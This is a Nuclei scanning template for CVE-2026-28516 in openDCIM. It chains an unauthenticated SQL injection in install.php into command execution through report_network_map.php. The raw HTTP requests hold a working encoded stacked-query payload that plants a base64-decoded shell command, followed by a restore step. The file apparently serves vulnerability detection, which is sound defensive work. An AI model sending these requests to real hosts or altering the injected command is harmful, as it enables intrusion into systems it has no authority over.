openDCIM through commit 4467e9c4 (tested on v23.04) exposes install.php without a post-installation lock or authorization check. The unauthenticated LDAP configuration handler passes request values directly into a SQL UPDATE via Config::UpdateParameter() without prepared statements, allowing a stacked-query injection that overwrites the 'dot' configuration parameter (the Graphviz binary path) with an attacker-controlled command. report_network_map.php then passes that value to exec(), resulting in remote code execution as the web server user on Docker deployments that run with REMOTE_USER set to dcim.
id: CVE-2026-28516
info:
name: openDCIM - Unauthenticated SQL Injection to Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
openDCIM through commit 4467e9c4 (tested on v23.04) exposes install.php without a post-installation lock or authorization check. The unauthenticated LDAP configuration handler passes request values directly into a SQL UPDATE via Config::UpdateParameter() without prepared statements, allowing a stacked-query injection that overwrites the 'dot' configuration parameter (the Graphviz binary path) with an attacker-controlled command. report_network_map.php then passes that value to exec(), resulting in remote code execution as the web server user on Docker deployments that run with REMOTE_USER set to dcim.
remediation: |
Upgrade openDCIM to a release that sanitizes the graph command execution and restrict access to install.php once installation is complete.
impact: |
A remote, unauthenticated attacker can execute arbitrary operating system commands on the underlying host.
reference:
- https://chocapikk.com/posts/2026/opendcim-sqli-to-rce/
- https://github.com/Chocapikk/opendcim-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2026-28516
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-28516
cwe-id: CWE-89
epss-score: 0.03279
epss-percentile: 0.89214
metadata:
verified: true
max-request: 3
vendor: opendcim
product: opendcim
shodan-query: http.title:"openDCIM"
fofa-query: title="openDCIM"
tags: cve,cve2026,sqli,rce,opendcim,unauth,vuln,vkev
flow: http(1) && http(2) && http(3);
http:
- raw:
- |
POST /install.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ldapaction=Set&LDAPServer=%22%20WHERE%201%3D0%3B%20DROP%20TABLE%20IF%20EXISTS%20_dcim_bak%3B%20CREATE%20TABLE%20_dcim_bak%20AS%20SELECT%20Parameter%2C%20Value%20FROM%20fac_Config%20WHERE%20Parameter%20LIKE%20%22LDAP%25%22%20OR%20Parameter%20%3D%20%22dot%22%3B%20UPDATE%20fac_Config%20SET%20Value%20%3D%20%22sh%20-c%20%27echo%20aWQ%3D%7Cbase64%20-d%7Cbash%20%3E%20%24%7B2%23-o%7D%202%3E%261%27%20--%22%20WHERE%20Parameter%20%3D%20%22dot%22%3B%20--%20&LDAPBaseDN=&LDAPBindDN=&LDAPSessionExpiration=&LDAPSiteAccess=&LDAPReadAccess=&LDAPWriteAccess=&LDAPDeleteAccess=&LDAPAdminOwnDevices=&LDAPRackRequest=&LDAPRackAdmin=&LDAPContactAdmin=&LDAPSiteAdmin=
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
GET /report_network_map.php?format=0&containerid=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=\d+\([\w-]+\)\s+gid=\d+\([\w-]+\)'
- type: status
status:
- 200
- raw:
- |
POST /install.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ldapaction=Set&LDAPServer=&LDAPBaseDN=&LDAPBindDN=&LDAPSessionExpiration=&LDAPSiteAccess=&LDAPReadAccess=&LDAPWriteAccess=&LDAPDeleteAccess=&LDAPAdminOwnDevices=&LDAPRackRequest=&LDAPRackAdmin=&LDAPContactAdmin=&LDAPSiteAdmin=%22%20WHERE%201%3D0%3B%20UPDATE%20fac_Config%20c%20INNER%20JOIN%20_dcim_bak%20b%20ON%20c.Parameter%20%3D%20b.Parameter%20SET%20c.Value%20%3D%20b.Value%3B%20DROP%20TABLE%20IF%20EXISTS%20_dcim_bak%3B%20--%20
matchers:
- type: status
status:
- 302
internal: true
# digest: 4a0a0047304502201ae0c96e3120079088e98d240ca2f848fdb4e3b37d22a763e5d618e90e57d201022100d5c5f3996157be616b91aba9d924d92265806c83f3ba731eaae538cbcdc4bd82:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.